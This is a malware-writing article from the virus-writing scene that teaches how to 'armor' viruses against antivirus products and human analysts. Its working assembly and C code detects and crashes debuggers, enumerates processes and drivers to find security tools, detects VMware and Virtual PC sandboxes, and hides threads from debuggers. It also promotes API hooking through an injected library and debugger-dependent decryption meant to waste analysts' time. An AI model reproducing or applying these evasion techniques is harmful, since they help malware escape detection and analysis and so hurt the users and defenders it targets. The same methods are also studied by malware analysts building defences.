| ||||||||||||||||
Ars loricatus novus
or A small introduction to retro-armoring by Nomenumbra
Ars loricatus novus or A small introduction to retro-armoring by Nomenumbra 0x00) Foreword There are many ways of hiding and protecting your virus from AV analysis, ranging from metamorphism to casual anti-debugging to aggressive attacks on AV products (process termination). With time however, anything can be reversed. But this doesn't mean we can't delay them critically. By using a thick armor of anti-debugging, aggressive and passive anti-AV tricks and general stealth, we can delay analysis. Combine this with a quickly morphing virus, this would mean the virus changes it's appereance and (if it's a virus that would re-write itself on source level) it's armor. This paper will show you some techniques that can be used to Armor your virus. 0x01)Casual Anti-Debugging Anti-Debugging tricks have been around a while, ever since they were made popular with whale. Heavy armoring however, is very rare, most likely because it adds a lot of extra code to your virus, I however, think this is worth it. Here is a summage of several well-known ant-debugging tricks: -) Probably the best known anti-debugging trick is a call to the IsDebuggerPresent(), which returns either true or false. This call is virtually useless though, since it can be easily nop'ed out, hooked, patched or god knows what. -) Casual detection of softice is also common knowledge. It is done by a call to the CreateFileA api, with softice's drivername as the filename parameter //./SICE, etc. -) OllyDbg detection is easy with the following function __inline bool IsODBGLoaded() { char *caption="DAEMON"; _asm { push 0x00 push caption mov eax, fs:[30h] // pointer to PEB movzx eax, byte ptr[eax+0x2] // width conversion or al,al jz normal_ jmp out_ normal_: xor eax, eax leave ret out_: mov eax, 0x1 leave ret } } -) Detecting wether we are being traced with Int1 would be done like this: pop ax dec sp dec sp ; decrease stack pointer (WORD decreased, thus making bx = ax) pop bx ; bx = ax now cmp ax,bx ; if we are being traced, there is something in between je NotInt1 mov eax,1 ret NotInt1: mov eax,0 ret -) When a reverser sets breakpoints, animates into the code or uses single-stepping, the execution is always slower than normal, we can exploit this by putting an int 3 (breakpoint) in the code, pausing a program when being debugged, but not when executed normally: call GetTickCount ; milliseconds mov ebx,eax int 3 ; breakpoint, so the debugger pauses call GetTickCount sub eax,ebx cmp eax,28h ; difference between last and first GetTickCount jg TooSlow mov eax,0 ret TooSlow: mov eax,1 ret -) Procdump is a nice tool for getting PE details, it can however be fooled quite nicely: FoolProcDump: ; fools procdump with increasing size mov eax, fs:[30h] mov eax, [eax+0Ch] mov eax, [eax+0Ch] add dword ptr [eax+20h], 2000h ret -) OllyDbg V1.10 (unpatched versions) are vulnerable to a format string attack. This means we can either exploit it in a casual way or just be thugs and crash the fucker. This is easily done by using a lot of %s's, eventually reading from invalid memory, segfaulting the app. OutputDebugStringA(“%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s”) will do the trick :) Now we know some basic anti-debugging tricks it's time to move on to Aggressive techniques. 0x02)Aggresive Anti-Debugging/Anti-AV Aggressive tricks involve the active detection of debuggers or AV products and taking 'appropriate measures'. There are several methods to do this: A) Process and module enumeration and comparing This ought to be common knowledge for everyone, a simple call to CreateToolhelp32Snapshot, using that handle for Process32First and the consecutive calls to process32next to detect all running processes and matching their names to a (regular expression based) blacklist would be easy. Fetching module info is trivial as well: 1) getProc(process's ID (PID),hProc) // hProc is a HANDLE 2)EnumProcessModules(hProc, hMods, sizeof(hMods), &cbNeeded); // hMods being an array of HMODULES, cbNeeded being an unsigned long 3)modulecount = cbNeeded/sizeof(HMODULE) 4)for(int i = 0; i < modulecount; i++) { GetModuleFileNameEx(hProc, hMods[i], filename, MAX_PATH); //filename being char filename[MAX_PATH] // compare filename to a blacklist } The blacklists could be retrieved by reversing AV software and debuggers. B) Driver detection and comparing Some products used to analyse viruses use drivers for doing their thing. We already saw how we could detect some drivers like softice's with a call to CreateFileA, but this will not work for every driver. The following function enumerate all drivers and gets some details about it (filename and basename) which can be matched against a 'blacklist' of AV/Debugger/whatever drivernames: -----------------------------------------------SNIP----------------------------------------------- #include <windows.h> #include <psapi.h> unsigned long cbNeeded; int EnumAllDeviceDrivers() { LPVOID drivers[1024]; // can enum max of 1024 drivers, else we'll have a b0f char name[MAX_PATH]; int drivercount = 0; if(EnumDeviceDrivers(drivers,sizeof(drivers),&cbNeeded) == FALSE ) return -1; drivercount = cbNeeded/sizeof(LPVOID); // number of drivers found for(int i=0; i<drivercount; i++) { if(GetDeviceDriverBaseName(drivers[i],name,MAX_PATH) != 0) { // compare the driver's basename to a 'blacklist' and take action if(GetDeviceDriverFileName(drivers[i],name,MAX_PATH) != 0) { // compare filename to a 'blacklist' and take action } else return -1; } else return -1; } } -----------------------------------------------EOF----------------------------------------------- C) Virtual machine detection Virtual machines, a hacker's joy, a reverser's paradise and a VXers nightmare. These virtual platforms allow you to run whatever the fuck you want, potentially fucking up the machine big time, only to be reset with the press of a button. Avers, when reversing your virus would be too difficult would simply run it in a Virtual environment, and seeing what it does (with the help of (for example) sysinternals' filemon and stuff). Well, as z0mbie already documented once, there are ways to detect whether we are running inside a virtual environment or not. VMWare's prescence, one of these virtual machine products, can be detected either by it's registry keys, file location or in the following fashion (This code comes from z0mbies article 'VMWare has you'): mov ecx, 0Ah ; CX=function# (0Ah=get_version) mov eax, 'VMXh' ; EAX=magic mov dx, 'VX' ; DX=magic in eax, dx ; specially processed io cmd ; output: EAX/EBX/ECX = data cmp ebx, 'VMXh' ; also eax/ecx modified (maybe vmw/os ver?) je under_VMware Another Virtual Machine product is Microsoft's Virtual PC, which can be detect with the following code: // IsInsideVPC's exception filter DWORD __forceinline IsInsideVPC_exceptionFilter(LPEXCEPTION_POINTERS ep) { PCONTEXT ctx = ep->ContextRecord; ctx->Ebx = -1; // Not running VPC ctx->Eip += 4; // skip past the "call VPC" opcodes return EXCEPTION_CONTINUE_EXECUTION; // we can safely resume execution since we skipped faulty instruction } // High level language friendly version of IsInsideVPC() bool IsInsideVPC() { bool rc = false; __try { _asm push ebx _asm mov ebx, 0 // It will stay ZERO if VPC is running _asm mov eax, 1 // VPC function number // call VPC _asm __emit 0Fh // invalid opcodes that should trigger and exception _asm __emit 3Fh _asm __emit 07h _asm __emit 0Bh _asm test ebx, ebx _asm setz [rc] _asm pop ebx } // The except block shouldn't get triggered if VPC is running!! __except(IsInsideVPC_exceptionFilter(GetExceptionInformation())) { } return rc; } Another great and innovative method to detect a virtual machine is Joanna Rutkowska is the “redpill method”. This method relies on the SIDT instruction which copies the contents of the descriptor table register to the six bytes of memory indicated by the operand, although it is used only by the OS it is executable in ring3. To quote Joanna: “Because there is only one IDTR register, but there are at least two OS running concurrently (i.e. the host and the guest OS), VMM needs to relocate the guest's IDTR in a safe place, so that it will not conflict with a host's one. Unfortunately, VMM cannot know if (and when) the process running in guest OS executes SIDT instruction, since it is not privileged (and it doesn't generate exception). Thus the process gets the relocated address of IDT table. It was observed that on VMWare, the relocated address of IDT is at address 0xffXXXXXX, whereas on Virtual PC it is 0xe8XXXXXX. This was tested on VMWare Workstation 4 and Virtual PC 2004, both running on Windows XP host OS”. The redpill code looks as follows: int swallow_redpill () { unsigned char m[2+4], rpill[] = "\x0f\x01\x0d\x00\x00\x00\x00\xc3"; //SIDT core *((unsigned*)&rpill[3]) = (unsigned)m; ((void(*)())&rpill)(); return (m[5]>0xd0) ? 1 : 0; } For a full description and documentation of this method, you should look here: http://invisiblethings.org/papers/redpill.html D) API hooking Well API hooking is a nice technique that can be used in a multitude of situations. In this case we should use it to hook each running process' API's that would be used by debuggers like: OpenProcess, OpenThread, GetProcessId, GetThreadId, ZwQueryInformationProcess, ReadProcessMemory, SetThreadContext, OutputDebugString, ContinueDebugEvent, DebugActiveProcess, DebugActiveProcessStop, DebugBreak, DebugBreakProcess, DebugSetProcessKillOnExit. These API's and their defenitions can be looked up in the MSDN library (http://msdn.microsoft.com) nicely. The Panzuriel code and library included with this article implements this idea. E) ZwSetInformationThread ZwSetInformationThread (located as a native api in ntdll.dll) can be used to hide your app from user-mode debuggers. Here is the MSDN description of zwsetInformationThread: The ZwSetInformationThread routine can be called to set the priority of a thread for which the caller has a handle. NTSTATUS ZwSetInformationThread( IN HANDLE ThreadHandle, IN THREADINFOCLASS ThreadInformationClass, IN PVOID ThreadInformation, IN ULONG ThreadInformationLength ); And here are the possible values for ThreadInfoClass: typedef enum _THREADINFOCLASS { ThreadBasicInformation, ThreadTimes, ThreadPriority, ThreadBasePriority, ThreadAffinityMask, ThreadImpersonationToken, ThreadDescriptorTableEntry, ThreadEnableAlignmentFaultFixup, ThreadEventPair_Reusable, ThreadQuerySetWin32StartAddress, ThreadZeroTlsCell, ThreadPerformanceCount, ThreadAmILastThread, ThreadIdealProcessor, ThreadPriorityBoost, ThreadSetTlsArrayAddress, ThreadIsIoPending, ThreadHideFromDebugger, <------------ SEE THAT?! ThreadBreakOnTermination, MaxThreadInfoClass } THREADINFOCLASS; So we would simply do: push 0 push 0 push ThreadHideFromDebugger ; 0x11 (17) push threadid call ZwSetInformationThread isn't that nice? F) CheckRemoteDebuggerPresent Another API that can be deliciously abused. Located in kernel32.dll, CheckRemoteDebuggerPresent is defined as follows: BOOL CheckRemoteDebuggerPresent( HANDLE hProcess, PBOOL pbDebuggerPresent ); Very simple, hProcess is a HANDLE to an opened process and pbDebuggerPresent is a pointer to a boolean to hold TRUE if we are being debugged. The return value of the function (eax) is TRUE if it succeeds. 0x03)Passive Anti-Debugging/Anti-AV Passive tricks don't involve the detection of Debuggers or AV products, but handling them without action or detection.It's basically Aggresive tricks who don't take action. This would involve (for example) interweaving string/code decryption (or the entire program flow) and the results of armor checks. See the following pseudo-code: ---------------------------------------SNIP--------------------------------------- function MoreAnnoyingKeyStuv(SomeByte,LKey) { if(DetectDebugger()) { SpawnBogusThreadWithMoreJunk(); if() ... // lots of useless conditional branches } else if(!AreBeingTracedOrEmulated) return ((Lkey << IsAVPresent()) xor (SomeByte >> DetectAnotherDebugger())) xor IsVmWare(); } procedure Decryptor(BeginEncrypted,XLen,XKey) { Key = Xkey; for(i = 0; i < (Xlen+1); i++) { Key += DetectSomeDebuggertrick(); SomeNormalKeyAdjustingOperationsHere; Key = Key xor MoreAnnoyingKeyStuv(); DecryptByte(BeginEncrypted+i,Key); } return; } ---------------------------------------EOF--------------------------------------- This kind of code, when obfuscated properly, would be a REAL pain in the ass for analists. Because they would have to look into each seperate Debugging detection trick (which could all use different Casual or even aggressive anti-debugging tricks), extract the correct result, go trough the potentially enormous bogus threads and conditional branches and in the end, write a decryptor by hand, which would delay them for quite some time. As described in this example, multithreading can be used to confuse the analist. Imagine an app that would dynamicall generate a routine containing a lot of (bogus) anti-debugging checks, resulting in lots of conditional branches, which lead nowhere. If this routine was initiated as a thread multiple times, all based on anti-debugging conditional branches (which actually don't matter) this would make the analist go trough each one of them, being different on each run, potentially ruining a lot of his time only to realize it's bogus and useless. Checksumming has been a method used for quite some time (mostly using cyclic redudancy checks) because it's a nice and effective method. It would involve checksumming important code sections that could be breakpointed or nop'ed out. But most of the time, the virus writer would just compare the result to a hardcoded value, which can be changed. Well, it would be more effective to write a checksumming algorithm yourself (combining several casual ones for example) ,for this is more obscure, and use the result as part of the decryption key. A nice trick to confuse emulators is the rep jmp trick. This trick could be written in pseudo-code as follows: -------------------------------SNIP------------------------------- call SomeAntiDebuggingCheck ; result in eax mov ecx,eax rep jmp DoomOnYou ; continue exection flow DoomOnYou: ; do nasty stuff here -------------------------------EOF------------------------------- As you can see the result of the antidebugging check is used to do a repeated jump to DoomOnYou. Now the trick is that this repeated jump is of course bollocks. Because once it jumps it jumps and nothing else. So if someAntiDebuggingCheck returns 0 (no debuggers found) it doesn't jump. This is a nice substitution of conditional jumps, making analysis by some lame emulator a lot harder, also if we would give SomeAntiDebuggingCheck a multitude of possible results (all for the different debuggers found,etc), thus making the emulator loop through this for a looong time trying out all results, only to go to DoomOnYou each time. 0x04) Panzuriel Library Well, I assume you are familiar with DLL-Injection, if not, I suggest you read my article “The basics of backdooring” (found here: http://0x4f4c.awardspace.com/Basics%20of%20backdooring.pdf). The Panzuriel Library can be injected in a single process, but also in all actively running processes, it's your choice. The code comes attached to this article. (Comment by DiA: Panzuriel can be found under "Sources") 0x05) Outro Well people, I hope you enjoyed this article and learned something from it. Remember, keep the Vxing scene alive! Shouts go to RRLF, 29A, the HackThisSite community, .aware group, ASO group and VX.netlux.org peeps in general. |